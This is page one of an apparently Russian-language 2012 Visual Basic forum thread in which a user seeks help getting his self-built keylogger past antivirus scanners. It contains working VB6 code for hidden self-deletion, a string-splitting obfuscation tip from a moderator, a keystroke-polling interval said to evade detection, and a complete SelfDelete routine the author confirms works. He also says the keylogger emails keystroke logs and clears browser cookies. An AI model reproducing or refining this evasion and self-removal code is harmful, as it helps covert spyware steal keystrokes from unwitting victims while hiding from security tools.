Гость
Форумы / Visual Basic [игнор отключен] [закрыт для гостей] / обходим антивирус / 25 сообщений из 38, страница 1 из 2
22.05.2012, 16:15
    #37806213
BelowZeroTooCold
Участник
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
обходим антивирус
сделал крутой кейлоггер, во всём обходящий предыдущие версии, кроме палевности. первые версии детектились антивирусом 0 из 42, а новая палится 8 из 42. в этом топике рассчитываю избавить от этой проблемы.
итак, первый опыт: моя прога самоудаляется:
Код: vbnet
1.
2.
3.
4.
5.
6.
7.
8.
9.
10.
11.
12.
13.
14.
Open "C:\Delself.bat" For Append As #F
    Print #1, "@echo off"
    Print #F, "ping 127.0.0.1 -n 5"
    Print #F, ":try"
    Print #F, "del C:\путь\файл.exe"
    Print #F, "if exist C:\путь\файл.exe goto try"
    Print #F, ":tryq"
    Print #F, "RmDir C:\путь"
    Print #F, "if exist C:\путь goto tryq"
    Print #F, "del C:\Delself.bat"
    'Print #F, "pause"
    Close #F
    Shell "C:\Delself.bat", vbHide
    Unload Me

убрал этот код из проги. палевность антивирями стала 5 из 42. отказываться от самоудаления не хо. в чём проблема? что посоветуете?

Shocker.Pro,
можешь разбанить меня? модеры на пт не узнают, я не пойду больше к этим злым дядям
...
Рейтинг: 0 / 0
22.05.2012, 16:21
    #37806227
QValD
Участник
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
обходим антивирус
BelowZeroTooCold,
как поведение антивирей связано с VB?
...
Рейтинг: 0 / 0
22.05.2012, 16:30
    #37806244
BelowZeroTooCold
Участник
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
обходим антивирус
QValDBelowZeroTooCold,
как поведение антивирей связано с VB? вся прога написана на vb6. для обхода антивиря нужно будет искать заменять\удалять\модернизировать части кода. кода на vb6... я вижу тут связь, как ты - хз.
...
Рейтинг: 0 / 0
22.05.2012, 16:38
    #37806263
VSVLAD
Участник
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
обходим антивирус
BelowZeroTooCold,

В любом случае типо KIS/KAV спалят его. Сейчас расскажу одну вещь, это ещё было в AVP 6 вроде, я тестировал его как он спалит меня на кейлог, если использовать API функцию GetAsyncKeyState. Так вот если в таймере проверять какую-то клавишу с интервалом 100 мс - то палил, а если 300 мс - то нет =). Но в новых версиях не проверял. Но в нормальных антивирусах на все API связанные с клавиатурами и установками хуков стоит "защита" и при анализе подозрительных действий выведет что ПО есть Generic.Keylogger или типо такого...

Так что кейлогерство не особенно актуально когда антивирь запущен
...
Рейтинг: 0 / 0
22.05.2012, 16:49
    #37806287
BelowZeroTooCold
Участник
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
обходим антивирус
VSVLAD,

по сути, ты прав. но предыдущую версию кейла касперский не палил. и вообще ничто не палило. кроме антикейла: видимо, он делал именно то, о чём ты писАл.
...
Рейтинг: 0 / 0
22.05.2012, 17:13
    #37806346
BelowZeroTooCold
Участник
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
обходим антивирус
VSVLADесли в таймере проверять какую-то клавишу с интервалом 100 мс - то палил, а если 300 мс - то нет =) в моей проге GetAsyncKeyState прокатывает около сотни раз за 1 мс XDDD. я думал, что если делать интервал меньше, то нажатие просто не поймается. проверил с таймером 300мс и 100мс - большинство нажатий правда не ловятся. видимо, ты юзал эту функцию иначе. расскажешь?
...
Рейтинг: 0 / 0
22.05.2012, 17:26
    #37806369
AndreyMp
Участник
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
обходим антивирус
Как этот топик и п.7 Правил соотносятся? Я бы отнес его к "иные способы взлома ПО".
...
Рейтинг: 0 / 0
22.05.2012, 17:38
    #37806392
Shocker.Pro
Участник
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
обходим антивирус
AndreyMpAndreyMpКак этот топик и п.7 Правил соотносятся? Я бы отнес его к "иные способы взлома ПО".
Я пока не очень склонен банить топик, потому что вопросы, которые в нем обсуждаются в общем могли бы обсуждаться и вне контекста кейлоггера, как предыдущий топик автора на тему кейлоггера.

Но все же дам рекомендацию Белову обсуждать в дальнейшем подобные темы более абстрактно
...
Рейтинг: 0 / 0
22.05.2012, 17:49
    #37806415
BelowZeroTooCold
Участник
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
обходим антивирус
AndreyMpКак этот топик и п.7 Правил соотносятся? Я бы отнес его к "иные способы взлома ПО".
кейлоггеры не запрещены никем и ничем. Shocker.ProНо все же дам рекомендацию Белову обсуждать в дальнейшем подобные темы более абстрактно оке, постараюсь. с разбаниванием никак?) сделал около десятка тестов: антивири воспринимают как угрозу именно строку
Код: vbnet
1.
Print #F, "del C:\путь\файл.exe"

, записанную в батник. при чём не важно, какой путь и имя какого файла в нём прописанно. удаляю строку - ругается 5 антивирей. ставлю обратно - 8. казалось бы, логично. но в моей проге имеется точная копия создания такого же батника, который удаляет прогу во время установки кейла. на него антивири не обращают внимание. из-за чего это может быть?
...
Рейтинг: 0 / 0
22.05.2012, 17:51
    #37806422
Shocker.Pro
Участник
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
обходим антивирус
Попробуй что-то типа такого:
Код: vbnet
1.
Print #F, "d"+"e"+"l"+" "+"C"+":"+"\"+"п"+"у"+"т"+"+....
...
Рейтинг: 0 / 0
22.05.2012, 18:10
    #37806470
BelowZeroTooCold
Участник
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
обходим антивирус
Shocker.ProПопробуй что-то типа такого:
Код: vbnet
1.
Print #F, "d"+"e"+"l"+" "+"C"+":"+"\"+"п"+"у"+"т"+"+....

так же 8 из 42. попробовал запихнуть сначала в переменную - тоже палево. перепроверил: изменил имя батника, место его создания, так же 8 антивирусов недовольны
Код: vbnet
1.
2.
3.
Open "C:\любойпуть\любоеимя.bat" For Append As #F
Print #F, "del C:\любойпуть\любоеимя.exe"
Close #F 'угроза 8 из 42 

Код: vbnet
1.
2.
Open "C:\любойпуть\любоеимя.bat" For Append As #F
Close #F 'угроза 5 из 42 

а в это время батник, который выполняет точно такой же код, но при установке(распаковывает все составляющие проги и самоудаляется) не палится вообще
...
Рейтинг: 0 / 0
22.05.2012, 18:38
    #37806524
BelowZeroTooCold
Участник
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
обходим антивирус
мне в голову пришла гениальная, хоть и провальная идея. я решил, что всё дело в таймере: батник, который без палева создаётся при установке, находится в Form_Load(). а тот, который палится, был в таймере. запихнул создание батника в процедуру - всё равно 8 обнаружений. переделал код, запихнул создание батника в Form_Load() прям рядом с другим созданием. код 1 в 1. два одинаковых создания батника. в одной процедуре. по одному условию(по имени екзешника). но палится именно эта строка второго создания батника. странно( я бы решил, что это корявые антивири, если бы 3 антивиря не показывали разницу одинаково
...
Рейтинг: 0 / 0
22.05.2012, 18:55
    #37806546
BelowZeroTooCold
Участник
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
обходим антивирус
ради интереса убрал строку с удалением из первого создания батника, второй оставил. получил угрозу только трёх антивирей XDDD бред какой-то
...
Рейтинг: 0 / 0
22.05.2012, 19:05
    #37806557
BelowZeroTooCold
Участник
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
обходим антивирус
убрал из проги оба батника. теперь недоволен только один антивирь из всех. значит, всё дело в них. только странно как-то: одни антивири реагируют на один батник, другие на второй, хотя оба практически ничем не отличаются...
...
Рейтинг: 0 / 0
22.05.2012, 19:23
    #37806575
BelowZeroTooCold
Участник
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
обходим антивирус
прога без батников: обнаружения 1 из 42
батники отдельно от проги(новый проект) 0 из 42
батники в проге: 5-8 из 42 в зависимости от фиг знает чего.
я понял, как мыслили создатели антивирей:
Код: vbnet
1.
2.
3.
4.
5.
if прога большая then
   if есть батники then
   'большая прога с батниками? подозрительно. давайте запишем их в вирусы чтобы пользователь знал что антивирь хоть чем-то занимается
   end if
end if
...
Рейтинг: 0 / 0
22.05.2012, 20:37
    #37806671
BelowZeroTooCold
Участник
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
обходим антивирус
итак, вот, что я однаружил.
2 антивиря ругаются на наличие батников, удаляющих файл
3 антивиря ругаются, если в коде два и более заполнения батников
2 антивиря ругаются на удаление куков браузеров
1 антивирус ругается постоянно: VIPRE Trojan.Win32.VBInject.gen (v) что ему не нравится - хз.
подскажите, как обойти антивири в первых трёх случаях и почему ругается последний антивирь?
...
Рейтинг: 0 / 0
23.05.2012, 04:38
    #37806994
Дмитрий77
Участник
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
обходим антивирус
BelowZeroTooColdподскажите, как обойти антивири....?
Купи цифровую подпись Microsoft Code Signing и подпиши. Антивири -это беспредел. Но подписей эти твари боятся.
Либо пиши письма в (анти?)вирусные компании. Слово такое есть: false positive.
...
Рейтинг: 0 / 0
23.05.2012, 21:19
    #37808645
BelowZeroTooCold
Участник
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
обходим антивирус
программу я проверял на сайте проекта вирустотал. и теперь моя почта заспамлена примерно двумястами письмами, и число логов постоянно растёт! это мне кажется очень странным. я могу дистанционно удалить их, но т.к. я мудился именно с батниками удаления, боюсь, кейлоггер не самоудалится по моей команде, а антивирусный сайт будет каждый день присылать мне по сотне писем с данными о нажатиях
...
Рейтинг: 0 / 0
24.05.2012, 09:17
    #37808974
радя
Гость
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
обходим антивирус
BelowZeroTooColdа антивирусный сайт будет каждый день присылать мне по сотне писем с данными о нажатиях
Я искренне рад за то, что ты в своём дерьме тонешь! Продолжай в том же духе!
...
Рейтинг: 0 / 0
02.06.2012, 11:54
    #37822448
KRACHIK
Гость
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
обходим антивирус
BelowZeroTooCold, можно самоудолиться и без батников
в модуль:
Private Type SHELLEXECUTEINFO
cbSize As Long
fMask As Long
hwnd As Long
lpVerb As String
lpFile As String
lpParameters As String
lpDirectory As String
nShow As Long
hInstApp As Long
' Optional fields
lpIDList As Long
lpClass As String
hkeyClass As Long
dwHotKey As Long
hIcon As Long
hProcess As Long
End Type

Private Const IDLE_PRIORITY_CLASS = &H40
Private Const SEE_MASK_NOCLOSEPROCESS = &H40
Private Const REALTIME_PRIORITY_CLASS = &H100
Private Const THREAD_BASE_PRIORITY_LOWRT = 15
Private Const THREAD_PRIORITY_TIME_CRITICAL = THREAD_BASE_PRIORITY_LOWRT
Private Const NORMAL_PRIORITY_CLASS = &H20
Private Const THREAD_PRIORITY_NORMAL = 0
Private Const SW_HIDE = 0

Private Declare Function SetProcessPriorityBoost Lib "kernel32" (ByVal hProcess As Long, ByVal DisablePriorityBoost As Long)
Private Declare Function GetModuleFileName Lib "kernel32" Alias "GetModuleFileNameA" (ByVal hModule As Long, ByVal lpFileName As String, ByVal nSize As Long) As Long
Private Declare Function GetShortPathName Lib "kernel32" Alias "GetShortPathNameA" (ByVal lpszLongPath As String, ByVal lpszShortPath As String, ByVal cchBuffer As Long) As Long
Private Declare Function GetEnvironmentVariable Lib "kernel32" Alias "GetEnvironmentVariableA" (ByVal lpName As String, ByVal lpBuffer As String, ByVal nSize As Long) As Long
Private Declare Function SetPriorityClass Lib "kernel32" (ByVal hProcess As Long, ByVal dwPriorityClass As Long) As Long
Private Declare Function SetThreadPriority Lib "kernel32" (ByVal hThread As Long, ByVal nPriority As Long) As Long
Private Declare Function GetCurrentProcess Lib "kernel32" () As Long
Private Declare Function GetCurrentThread Lib "kernel32" () As Long
Private Declare Function ShellExecuteEx Lib "shell32.dll" Alias "ShellExecuteExA" (sei As SHELLEXECUTEINFO) As Long

Function SelfDelete() As Boolean
Dim sei As SHELLEXECUTEINFO
Dim szModule As String, szComspec As String, szParams As String
Dim ilen As Long

szModule = String(256, " ")
szComspec = String(256, " ")

Call GetModuleFileName(0, szModule, 255)
ilen = GetShortPathName(szModule, szModule, 255)
szModule = Left$(szModule, ilen)

If GetEnvironmentVariable("COMSPEC", szComspec, 255) <> 0 Then

szParams = "/c del " & szModule & " > nul"

sei.cbSize = LenB(sei)
sei.hwnd = 0
sei.lpVerb = "Open"
sei.lpFile = szComspec
sei.lpParameters = szParams
sei.lpDirectory = 0
sei.nShow = SW_HIDE
sei.fMask = SEE_MASK_NOCLOSEPROCESS

Call SetPriorityClass(GetCurrentProcess(), REALTIME_PRIORITY_CLASS)
Call SetThreadPriority(GetCurrentThread(), THREAD_PRIORITY_TIME_CRITICAL)

If ShellExecuteEx(sei) <> 0 Then
Call SetPriorityClass(sei.hProcess, IDLE_PRIORITY_CLASS)
Call SetProcessPriorityBoost(sei.hProcess, 1)
SelfDelete = True
Exit Function
Else
Call SetPriorityClass(GetCurrentProcess(), NORMAL_PRIORITY_CLASS)
Call SetThreadPriority(GetCurrentThread(), THREAD_PRIORITY_NORMAL)
End If

End If
SelfDelete = False
End Function

на форму
Private Sub Command1_Click() 'Собственно само удаление
Unload Me
Call SelfDelete
End Sub
...
Рейтинг: 0 / 0
03.06.2012, 23:34
    #37823528
BelowZeroTooCold
Участник
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
обходим антивирус
KRACHIK,

работает, спасибо!)
...
Рейтинг: 0 / 0
04.06.2012, 17:21
    #37824700
BelowZeroTooCold
Участник
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
обходим антивирус
в одном из 2 самоудалений код отрабатывает с неудачей. возможно, из-за того, что папке, в которой находится файл, поставлены атрибуты скрытый+системный. +хз, как удалить папку,в которой находится самоудаляющаяся прога без копирования проги в другую папку
...
Рейтинг: 0 / 0
04.06.2012, 17:48
    #37824764
BelowZeroTooCold
Участник
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
обходим антивирус
убрал системность и скрытость папки - всё равно ошибка 53 файл нот фаунд. в чём прикол?
...
Рейтинг: 0 / 0
06.06.2012, 17:16
    #37828087
BelowZeroTooCold
Участник
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
обходим антивирус
почему может не работать приведённый выше код? в 1 из 2 случаев он не выводит ошибку 53. а я уже заменил им свои батники.
...
Рейтинг: 0 / 0
06.06.2012, 20:40
    #37828407
обходим антивирус
BelowZeroTooColdпочему может не работать приведённый выше код? в 1 из 2 случаев он не выводит ошибку 53. а я уже заменил им свои батники.
А почему этот код должен работать во всех случаях? Объяснить можешь, не?
...
Рейтинг: 0 / 0
Форумы / Visual Basic [игнор отключен] [закрыт для гостей] / обходим антивирус / 25 сообщений из 38, страница 1 из 2
Целевая тема:
Создать новую тему:
Автор:
Найденые пользователи ...
Разблокировать пользователей ...
Читали форум (0):
Пользователи онлайн (0):
x
x
Закрыть


Просмотр
0 / 0
Close
Debug Console [Select Text]